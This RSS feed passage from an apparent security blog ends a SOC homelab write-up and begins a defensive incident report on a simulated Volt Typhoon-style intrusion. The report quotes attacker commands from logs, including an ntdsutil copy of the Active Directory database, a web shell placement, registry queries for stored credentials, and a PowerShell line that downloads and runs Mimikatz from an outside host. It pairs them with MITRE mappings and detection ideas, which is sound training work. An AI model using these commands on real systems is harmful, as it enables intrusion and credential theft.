  &lt;li&gt;SECURITY — Splunk and monitoring infrastructure&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;After implementing the new subnets, communication between systems immediately stopped working.&lt;/p&gt;

&lt;p&gt;Services that had previously functioned without issue, including DNS resolution, Splunk access, and host-to-host communication, began failing.&lt;/p&gt;

&lt;h2 id=&quot;investigation-3&quot;&gt;Investigation&lt;/h2&gt;

&lt;p&gt;The first step was determining whether the issue originated from routing, firewall policy, or endpoint configuration.&lt;/p&gt;

&lt;p&gt;I validated:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Interface assignments within pfSense&lt;/li&gt;
  &lt;li&gt;IP addressing and gateways on each system&lt;/li&gt;
  &lt;li&gt;VirtualBox network mappings&lt;/li&gt;
  &lt;li&gt;Firewall rules on each subnet&lt;/li&gt;
  &lt;li&gt;Connectivity using ping and service-specific testing&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;One of the most useful discoveries was that pfSense blocks inter-subnet traffic by default unless explicit firewall rules are created.&lt;/p&gt;

&lt;p&gt;To isolate the problem, I temporarily created permissive firewall rules and verified that communication immediately resumed. This confirmed that routing was functioning correctly and that the issue was related to firewall policy.&lt;/p&gt;

&lt;h2 id=&quot;root-cause-2&quot;&gt;Root Cause&lt;/h2&gt;

&lt;p&gt;The newly created network segments had no rules allowing the required traffic between systems.&lt;/p&gt;

&lt;p&gt;Although the hosts were correctly configured and could reach their local gateways, pfSense was enforcing segmentation and blocking communications between subnets.&lt;/p&gt;

&lt;p&gt;This behavior was expected from a security perspective but required the creation of explicit allow rules for legitimate business traffic.&lt;/p&gt;

&lt;h2 id=&quot;resolution-3&quot;&gt;Resolution&lt;/h2&gt;

&lt;p&gt;I implemented firewall rules based on the operational requirements of the environment.&lt;/p&gt;

&lt;p&gt;Examples included:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Allow DNS traffic from workstations to Active Directory&lt;/li&gt;
  &lt;li&gt;Allow Kerberos, LDAP, SMB, and RPC traffic required for domain functionality&lt;/li&gt;
  &lt;li&gt;Allow Splunk Universal Forwarders to communicate with Splunk&lt;/li&gt;
  &lt;li&gt;Allow Active Directory to forward DNS requests to pfSense&lt;/li&gt;
  &lt;li&gt;Block unnecessary traffic between segments by default&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;After validating functionality, the temporary allow-all rules were removed and replaced with more restrictive policies.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/homelab2/fwrule02.png&quot; alt=&quot;fwrule02.png&quot; /&gt;
&lt;em&gt;Firewall rule allowing Active Directory’s IP to forward DNS requests to pfSense&lt;/em&gt;&lt;/p&gt;

&lt;h2 id=&quot;validation-1&quot;&gt;Validation&lt;/h2&gt;

&lt;p&gt;To verify that segmentation was functioning correctly, I tested both allowed and blocked communications.&lt;/p&gt;

&lt;p&gt;Examples included:&lt;/p&gt;

&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;Test-NetConnection&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;192.168.10.10&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-Port&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;445&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Test-NetConnection&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;192.168.10.10&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-Port&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;3389&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;SMB connectivity succeeded because it was explicitly allowed, while RDP traffic was denied because no corresponding firewall rule existed.&lt;/p&gt;

&lt;p&gt;This confirmed that the segmentation policy was operating as intended.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/homelab2/connectivity.png&quot; alt=&quot;connectivity.png&quot; /&gt;
&lt;em&gt;Commands testing SMB &amp;amp; RDP connectivity and their output&lt;/em&gt;&lt;/p&gt;

&lt;h2 id=&quot;lesson-learned-3&quot;&gt;Lesson Learned&lt;/h2&gt;

&lt;p&gt;Network segmentation directly contributes to security monitoring. 
By controlling communication paths through firewall policy, it becomes possible to:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Reduce unnecessary exposure between systems&lt;/li&gt;
  &lt;li&gt;Generate valuable firewall telemetry&lt;/li&gt;
  &lt;li&gt;Detect unauthorized access attempts&lt;/li&gt;
  &lt;li&gt;Validate least-privilege principles&lt;/li&gt;
  &lt;li&gt;Create more realistic investigation scenarios&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The troubleshooting process also reinforced the importance of testing connectivity systematically and validating assumptions before modifying configurations.&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;challenge-5-building-a-useful-active-directory-environment&quot;&gt;Challenge 5: Building a Useful Active Directory Environment&lt;/h1&gt;

&lt;h2 id=&quot;the-problem-4&quot;&gt;The Problem&lt;/h2&gt;

&lt;p&gt;A freshly deployed Active Directory environment contains very little activity.&lt;/p&gt;

&lt;p&gt;This creates a challenge when attempting to develop detection and investigation skills because there are few events to analyze.&lt;/p&gt;

&lt;h2 id=&quot;investigation-4&quot;&gt;Investigation&lt;/h2&gt;

&lt;p&gt;I wanted the environment to generate:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Authentication events&lt;/li&gt;
  &lt;li&gt;Group membership activity&lt;/li&gt;
  &lt;li&gt;User account operations&lt;/li&gt;
  &lt;li&gt;Kerberos traffic&lt;/li&gt;
  &lt;li&gt;Directory service activity&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Without these events, Splunk would contain little meaningful telemetry.&lt;/p&gt;

&lt;h2 id=&quot;resolution-4&quot;&gt;Resolution&lt;/h2&gt;

&lt;p&gt;I deployed the BadBlood PowerShell project to populate Active Directory with realistic objects and relationships.&lt;/p&gt;

&lt;p&gt;The environment immediately became more representative of a real enterprise domain.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/homelab2/badblood.png&quot; alt=&quot;badblood.png&quot; /&gt;
&lt;em&gt;Active Directory after BadBlood population&lt;/em&gt;&lt;/p&gt;

&lt;h2 id=&quot;lesson-learned-4&quot;&gt;Lesson Learned&lt;/h2&gt;

&lt;p&gt;A useful SOC lab requires realistic data.&lt;/p&gt;

&lt;p&gt;Security monitoring becomes significantly more valuable when the environment generates authentic activity patterns.&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;challenge-6-improving-endpoint-visibility&quot;&gt;Challenge 6: Improving Endpoint Visibility&lt;/h1&gt;

&lt;h2 id=&quot;the-problem-5&quot;&gt;The Problem&lt;/h2&gt;

&lt;p&gt;Native Windows logging provides useful information, but it does not always provide the level of detail required for detection engineering and investigations.&lt;/p&gt;

&lt;p&gt;I wanted deeper visibility into endpoint activity.&lt;/p&gt;

&lt;h2 id=&quot;resolution-5&quot;&gt;Resolution&lt;/h2&gt;

&lt;p&gt;I deployed Sysmon using Olaf Hartong’s modular configuration and enabled PowerShell logging on both Windows systems.&lt;/p&gt;

&lt;p&gt;The combination provided visibility into:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Process creation&lt;/li&gt;
  &lt;li&gt;Command-line execution&lt;/li&gt;
  &lt;li&gt;PowerShell activity&lt;/li&gt;
  &lt;li&gt;Network connections&lt;/li&gt;
  &lt;li&gt;Registry modifications&lt;/li&gt;
  &lt;li&gt;File operations&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/homelab2/logs01.png&quot; alt=&quot;logs01.png&quot; /&gt;
&lt;em&gt;Sysmon detailed events such as 11 (File Creation) appearing in Splunk&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/homelab2/logs02.png&quot; alt=&quot;logs02.png&quot; /&gt;
&lt;em&gt;PowerShell detailed events such as 4104 (Script Block) appearing in Splunk&lt;/em&gt;&lt;/p&gt;

&lt;h2 id=&quot;outcome-1&quot;&gt;Outcome&lt;/h2&gt;

&lt;p&gt;The resulting telemetry significantly improved the quality of data available within Splunk.&lt;/p&gt;

&lt;p&gt;This created a stronger foundation for future detection engineering and threat hunting exercises.&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;key-takeaways&quot;&gt;Key Takeaways&lt;/h1&gt;

&lt;p&gt;Several lessons emerged from this project:&lt;/p&gt;

&lt;h3 id=&quot;verify-before-troubleshooting&quot;&gt;Verify Before Troubleshooting&lt;/h3&gt;

&lt;p&gt;Always determine whether the issue originates from:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Event generation&lt;/li&gt;
  &lt;li&gt;Log collection&lt;/li&gt;
  &lt;li&gt;Data forwarding&lt;/li&gt;
  &lt;li&gt;SIEM ingestion&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;time-matters&quot;&gt;Time Matters&lt;/h3&gt;

&lt;p&gt;Reliable timestamps are essential for investigations and event correlation.&lt;/p&gt;

&lt;h3 id=&quot;visibility-is-intentional&quot;&gt;Visibility Is Intentional&lt;/h3&gt;

&lt;p&gt;Useful telemetry does not appear automatically. It requires deliberate configuration and validation.&lt;/p&gt;

&lt;h3 id=&quot;security-controls-create-telemetry&quot;&gt;Security Controls Create Telemetry&lt;/h3&gt;

&lt;p&gt;Implementing controls such as network segmentation and firewall policies not only improves security but also generates valuable data for monitoring and investigations.&lt;/p&gt;

&lt;p&gt;Blocked connections, denied access attempts, and unusual communication patterns can all become useful detection opportunities within a SIEM.&lt;/p&gt;

&lt;h3 id=&quot;realistic-data-produces-better-learning&quot;&gt;Realistic Data Produces Better Learning&lt;/h3&gt;

&lt;p&gt;Tools such as BadBlood help transform a lab from a static environment into a platform for meaningful security analysis.&lt;/p&gt;

&lt;h3 id=&quot;troubleshooting-builds-technical-depth&quot;&gt;Troubleshooting Builds Technical Depth&lt;/h3&gt;

&lt;p&gt;Many of the most valuable lessons from this project came from solving problems rather than completing installations.&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h1&gt;

&lt;p&gt;Building this SOC homelab provided practical experience not only in deploying security tools, but in operating and troubleshooting a realistic security monitoring environment.&lt;/p&gt;

&lt;p&gt;The most valuable learning came from resolving unexpected issues across log collection, DNS architecture, network segmentation, endpoint telemetry, and system synchronization. Each challenge required understanding how different components interact within a security pipeline.&lt;/p&gt;

&lt;p&gt;This foundation will support future work in detection engineering, threat hunting, and security incident analysis.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;With the environment now fully operational, the next step is to build detection logic, simulate adversarial activity, and develop structured investigation workflows using Splunk.&lt;/em&gt;&lt;/p&gt;
</description>
        <pubDate>Wed, 17 Jun 2026 06:00:00 +0000</pubDate>
        <link>https://citadelcybersec.github.io/six-real-problems-i-solved-while-building-my-soc-homelab</link>
        <guid isPermaLink="true">https://citadelcybersec.github.io/six-real-problems-i-solved-while-building-my-soc-homelab</guid>
        
        <category>homelab</category>
        
        <category>soc-lab</category>
        
        <category>cybersecurity-lab</category>
        
        <category>blue-team</category>
        
        <category>networking</category>
        
        
      </item>
    
      <item>
        <title>SOC Incident Report: Investigation of a Volt Typhoon-Inspired Intrusion</title>
        <description>&lt;h3 id=&quot;soc-incident-report-investigation-of-a-volt-typhoon-inspired-intrusion&quot;&gt;SOC Incident Report: Investigation of a Volt Typhoon-Inspired Intrusion&lt;/h3&gt;

&lt;h4 id=&quot;a-complete-write-up-demonstrating-real-soc-investigation-methodology&quot;&gt;A Complete Write-Up Demonstrating Real SOC Investigation Methodology&lt;/h4&gt;

&lt;h2 id=&quot;executive-summary&quot;&gt;Executive Summary&lt;/h2&gt;

&lt;p&gt;This report documents the investigation of a simulated enterprise intrusion exhibiting tactics, techniques, and procedures (TTPs) commonly associated with the advanced persistent threat (APT) group &lt;strong&gt;Volt Typhoon&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Using authentication logs, PowerShell telemetry, Windows Event Logs, registry activity, and Splunk SIEM data, the investigation reconstructed the attack lifecycle from initial compromise through persistence, credential access, lateral movement, command-and-control (C2), and defense evasion activities.&lt;/p&gt;

&lt;p&gt;Analysis identified evidence of account compromise, unauthorized administrative account creation, web shell deployment, Active Directory database access, credential dumping, data staging, proxy-based C2 communications, and deliberate log tampering.&lt;/p&gt;

&lt;p&gt;The findings demonstrate how multiple low-level events can be correlated into a complete attack narrative, highlighting the importance of behavioral analysis, threat hunting methodologies, and MITRE ATT&amp;amp;CK-based investigation techniques within a Security Operations Center (SOC) environment.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;investigation-objectives&quot;&gt;Investigation Objectives&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;Reconstruct the attacker’s activity timeline&lt;/li&gt;
  &lt;li&gt;Identify initial access vector and compromised accounts&lt;/li&gt;
  &lt;li&gt;Determine persistence mechanisms deployed within the environment&lt;/li&gt;
  &lt;li&gt;Analyze credential access and lateral movement techniques&lt;/li&gt;
  &lt;li&gt;Detect indicators of command-and-control infrastructure&lt;/li&gt;
  &lt;li&gt;Identify evidence of defensive evasion and log manipulation&lt;/li&gt;
  &lt;li&gt;Map observed activity to MITRE ATT&amp;amp;CK techniques&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;data-sources--environment&quot;&gt;Data Sources &amp;amp; Environment&lt;/h2&gt;

&lt;p&gt;The investigation was conducted using centralized log data ingested into Splunk, including:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;ADSelfService Plus authentication and administrative logs&lt;/li&gt;
  &lt;li&gt;Windows Security Event Logs&lt;/li&gt;
  &lt;li&gt;PowerShell operational logs&lt;/li&gt;
  &lt;li&gt;WMIC execution telemetry&lt;/li&gt;
  &lt;li&gt;Registry access and modification logs&lt;/li&gt;
  &lt;li&gt;Network and proxy configuration events&lt;/li&gt;
  &lt;li&gt;File system and process execution logs&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The analysis was guided by threat intelligence on Volt Typhoon and MITRE ATT&amp;amp;CK framework mappings.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;investigation-scope-kill-chain-mapping&quot;&gt;Investigation Scope (Kill Chain Mapping)&lt;/h2&gt;

&lt;p&gt;The intrusion was analyzed across the following phases:&lt;/p&gt;

&lt;h3 id=&quot;1-initial-access&quot;&gt;1. Initial Access&lt;/h3&gt;

&lt;p&gt;The intrusion originated through the compromise of enterprise authentication infrastructure, resulting in unauthorized password resets and administrative account creation.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;2024-03-24 11:10:22 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dean-admin&lt;/code&gt; account password change&lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;2024-03-24 11:12:26 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;voltyp-admin&lt;/code&gt; account created&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1078/002/&quot;&gt;MITRE ATT&amp;amp;CK - T1078.002 Domain Accounts&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;detection-opportunities&quot;&gt;Detection Opportunities&lt;/h4&gt;

&lt;ul&gt;
  &lt;li&gt;Monitor privileged account creation events&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/volt-report/1_-iZoo4zereg4ePsaxQkXYQ.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/volt-report/1_AfHAK7TEr7LU1izr51Qr0w.png&quot; alt=&quot;1_AfHAK7TEr7LU1izr51Qr0w.png&quot; /&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;2-execution&quot;&gt;2. Execution&lt;/h3&gt;

&lt;p&gt;Attacker leveraged native Windows utilities and LOLBins (Living-off-the-Land Binaries), including WMIC and PowerShell, to execute reconnaissance and system commands.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Information gathering attempt detected using the command:&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;wmic /node:server01, server02 logicaldisk get caption, filesystem, freespace, size, volumename
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;Active Directory database artifacts were copied using the following command:&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;wmic process call create &quot;cmd.exe /c mkdir C:\Windows\Temp\tmp &amp;amp; ntdsutil.exe \&quot;ac i ntds\&quot; \&quot;ifm create full C:\Windows\Temp\tmp\temp.dit&quot;&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1047/&quot;&gt;MITRE ATT&amp;amp;CK - T1047 Windows Management Instrumentation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;detection-opportunities-1&quot;&gt;Detection Opportunities&lt;/h4&gt;

&lt;ul&gt;
  &lt;li&gt;Alert on unusual WMIC execution&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/volt-report/1_caopVM2kYXIt4NtAhrHpeg.png&quot; alt=&quot;1_caopVM2kYXIt4NtAhrHpeg.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/volt-report/1_pA9D-kS-zuCYrIk7AtBzcg.png&quot; alt=&quot;1_pA9D-kS-zuCYrIk7AtBzcg.png&quot; /&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;3-persistence&quot;&gt;3. Persistence&lt;/h3&gt;

&lt;p&gt;A web shell was deployed within a web-accessible directory to maintain remote access and enable continued command execution.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;A PowerShell command was identified that copied a web shell into a web-accessible directory, establishing persistent remote access:&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Copy-Item -Path &quot;C:\Windows\Temp\iistart.aspx&quot; -Destination &quot;\\server-02\C$\inetpub\wwwroot\AuditReport.jspx&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1505/003/&quot;&gt;MITRE ATT&amp;amp;CK - T1505.003 Web Shell&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;detection-opportunities-2&quot;&gt;Detection Opportunities&lt;/h4&gt;

&lt;ul&gt;
  &lt;li&gt;Monitor creation of ASPX/JSPX files in web directories&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/volt-report/1_b-7iJFXXhODQVlgKwUYbQw.png&quot; alt=&quot;1_b-7iJFXXhODQVlgKwUYbQw.png&quot; /&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;4-privilege-escalation--credential-access&quot;&gt;4. Privilege Escalation &amp;amp; Credential Access&lt;/h3&gt;

&lt;p&gt;The attacker accessed sensitive system components, including Active Directory database artifacts and credential storage mechanisms, and executed credential dumping tools in memory.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Found commands used by the actor searching for common password storage locations:&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;reg query hkcu\software\dean-admin\putty\session
reg query hklm\software\realvnc\vncserver
reg query hklm\software\realvnc
reg query hklm\software\OpenSSH\Agent
reg query hklm\software\OpenSSH
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1012/&quot;&gt;MITRE ATT&amp;amp;CK - T1012 Query Registry&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1555/&quot;&gt;MITRE ATT&amp;amp;CK - T1555 Credentials from Password Stores&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/volt-report/1_6AtEFB-21UEaJiA2knNDng.png&quot; alt=&quot;1_6AtEFB-21UEaJiA2knNDng.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/volt-report/1_vGDAERxVeQrguC9GX7kd4Q.png&quot; alt=&quot;1_vGDAERxVeQrguC9GX7kd4Q.png&quot; /&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Discovered a PowerShell encoded command, which, when decoded, revealed the download and execution of Mimikatz for credential dumping purposes:&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Invoke-WebRequest -Uri &quot;http://voltyp.com/3/tlz/mimikatz.exe&quot; -OutFile &quot;C:\Temp\db2\mimikatz.exe&quot;; Start-Process -FilePath &quot;C:\Temp\db2\mimikatz.exe&quot; -ArgumentList @(&quot;sekurlsa::minidump lsass.dmp&quot;, &quot;exit&quot;) -NoNewWindow -Wait
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1003/001/&quot;&gt;MITRE ATT&amp;amp;CK - T1003.001 OS Credential Dumping: LSASS Memory&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://attack.mitre.org/software/S0002/&quot;&gt;MITRE ATT&amp;amp;CK - S0002 Mimikatz&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://attack.mitre.org/versions/v13/techniques/T1059/001/&quot;&gt;MITRE ATT&amp;amp;CK - T1059.001 Command and Scripting Interpreter: PowerShell&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;detection-opportunities-3&quot;&gt;Detection Opportunities&lt;/h4&gt;

&lt;ul&gt;
  &lt;li&gt;Detect encoded PowerShell commands&lt;/li&gt;
  &lt;li&gt;Alert on LSASS access attempts&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/volt-report/1_EdWXVhU4Lu2arVvT5jlsfA.png&quot; alt=&quot;1_EdWXVhU4Lu2arVvT5jlsfA.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/volt-report/1_z5_Rpgkr93eU6HJ40IFOTA.png&quot; alt=&quot;1_z5_Rpgkr93eU6HJ40IFOTA.png&quot; /&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;5-discovery--lateral-movement&quot;&gt;5. Discovery &amp;amp; Lateral Movement&lt;/h3&gt;

&lt;p&gt;Network reconnaissance was performed using built-in Windows utilities and registry queries to identify system configuration, users, and security logs. The attacker subsequently moved laterally across systems.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Multiple commands were identified that leveraged wevtutil to enumerate Windows Event Logs and review authentication activity related to these events:
    &lt;ul&gt;
      &lt;li&gt;&lt;strong&gt;4624&lt;/strong&gt; Successful login&lt;/li&gt;
      &lt;li&gt;&lt;strong&gt;4625&lt;/strong&gt; Failed login&lt;/li&gt;
      &lt;li&gt;&lt;strong&gt;4769&lt;/strong&gt; Kerberos Ticket Granting Service Request&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;!-- end list --&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1654/&quot;&gt;MITRE ATT&amp;amp;CK - T1654 Log Enumeration&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/volt-report/1_jBNtwhWi9LQ6zHLWVkOvJg.png&quot; alt=&quot;1_jBNtwhWi9LQ6zHLWVkOvJg.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/volt-report/1_VtYehJtluxAK0c0hV-AQNg.png&quot; alt=&quot;1_VtYehJtluxAK0c0hV-AQNg.png&quot; /&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;The attacker maintained persistence across systems by moving the Web shell using the following command:&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Copy-Item -Path &quot;C:\Windows\Temp\iistart.aspx&quot; -Destination &quot;\\server-02\C$\inetpub\wwwroot\AuditReport.jspx
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1570/&quot;&gt;MITRE ATT&amp;amp;CK - T1570 Lateral Tool Transfer&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1505/003/&quot;&gt;MITRE ATT&amp;amp;CK - T1505.003 Web Shell&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;detection-opportunities-4&quot;&gt;Detection Opportunities&lt;/h4&gt;

&lt;ul&gt;
  &lt;li&gt;Monitor creation of ASPX/JSPX files in web directories&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/volt-report/1_b-7iJFXXhODQVlgKwUYbQw.png&quot; alt=&quot;1_b-7iJFXXhODQVlgKwUYbQw.png&quot; /&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;6-collection--exfiltration&quot;&gt;6. Collection &amp;amp; Exfiltration&lt;/h3&gt;

&lt;p&gt;Sensitive files were identified, copied, and staged for exfiltration. Data was compressed and prepared for external transfer.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Three PowerShell commands were identified staging potentially sensitive financial data for exfiltration:&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Copy-Item -Path &quot;C:\ProgramData\FinanceBackup\2024.csv&quot; -Destination &quot;C:\Windows\Temp\Faudit\2024.csv&quot;

Copy-Item -Path &quot;C:\ProgramData\FinanceBackup\2023.csv&quot; -Destination &quot;C:\Windows\Temp\Faudit\2023.csv&quot;

Copy-Item -Path &quot;C:\ProgramData\FinanceBackup\2022.csv&quot; -Destination &quot;C:\Windows\Temp\Faudit\2022.csv&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1074/001/&quot;&gt;MITRE ATT&amp;amp;CK - T1074.001 Data Staged: Local Data Staging&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/volt-report/1_5gklSx70IaZvEIKhbnxSWA.png&quot; alt=&quot;1_5gklSx70IaZvEIKhbnxSWA.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/volt-report/1_7X2WdNLN7IuiwKx9nsP0dA.png&quot; alt=&quot;1_7X2WdNLN7IuiwKx9nsP0dA.png&quot; /&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;7-command--control-c2&quot;&gt;7. Command &amp;amp; Control (C2)&lt;/h3&gt;

&lt;p&gt;Outbound communication channels were established through proxy-based forwarding techniques, enabling remote command execution.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;The attacker used the built-in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;netsh portproxy&lt;/code&gt; utility to establish proxy-based communication channels:&lt;/li&gt;
&lt;/ul&gt;

